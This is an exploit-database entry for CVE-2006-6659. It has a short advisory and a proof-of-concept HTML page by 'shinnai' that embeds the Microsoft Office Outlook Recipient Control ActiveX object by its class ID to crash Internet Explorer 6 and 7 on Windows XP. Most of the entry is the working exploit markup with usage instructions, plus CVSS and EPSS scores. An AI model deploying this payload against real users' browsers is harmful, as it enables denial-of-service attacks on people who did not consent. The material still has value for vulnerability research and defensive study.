Microsoft Outlook - ActiveX Control Remote Internet Explorer Denial of Service

🗓️ 18 Dec 2006 00:00:00Reported by shinnaiType

Microsoft Outlook ActiveX Control Denial of Servic

Reporter	Title	Published	Views	Family All 5
CVE	CVE-2006-6659	20 Dec 200602:00	–	cve
Cvelist	CVE-2006-6659	20 Dec 200602:00	–	cvelist
Exploit DB	Microsoft Office Outlook Recipient Control - 'ole32.dll' Denial of Service	18 Dec 200600:00	–	exploitdb
NVD	CVE-2006-6659	20 Dec 200602:28	–	nvd
RedhatCVE	CVE-2006-6659	21 May 202521:49	–	redhatcve

source: https://www.securityfocus.com/bid/21649/info

The Microsoft Office Outlook Recipient Control is prone to a denial-of-service vulnerability.

An attacker can exploit this issue to trigger denial-of-service conditions in Internet Explorer or other applications that use the ActiveX control.

Specific information regarding affected packages is currently unavailable. This BID will be updated as more information becomes available.

<!--
------------------------------------------------------------------------
Microsoft Office Outlook Recipient Control (ole32.dll) Denial of Service
author: shinnai
site: http://shinnai.altervista.org
mail: shinnai[at]autistici[dot]org
and, always, special thanks to rgod

Tested on Windows Xp Professional SP2 all patched

works with Internet Explorer 6 & 7
------------------------------------------------------------------------
-->

<html>
 <head>
 <title></title>
 </head>
 <object classid="clsid:0006F023-0000-0000-C000-000000000046" id="oLook" width="180" height="14"></object>
</html>

<!--
Just enable the control by clicking on it, then try to close IE.
-->

30 Oct 2013 00:00Current

5.8Medium risk

Vulners AI Score5.8

CVSS 25

EPSS0.16974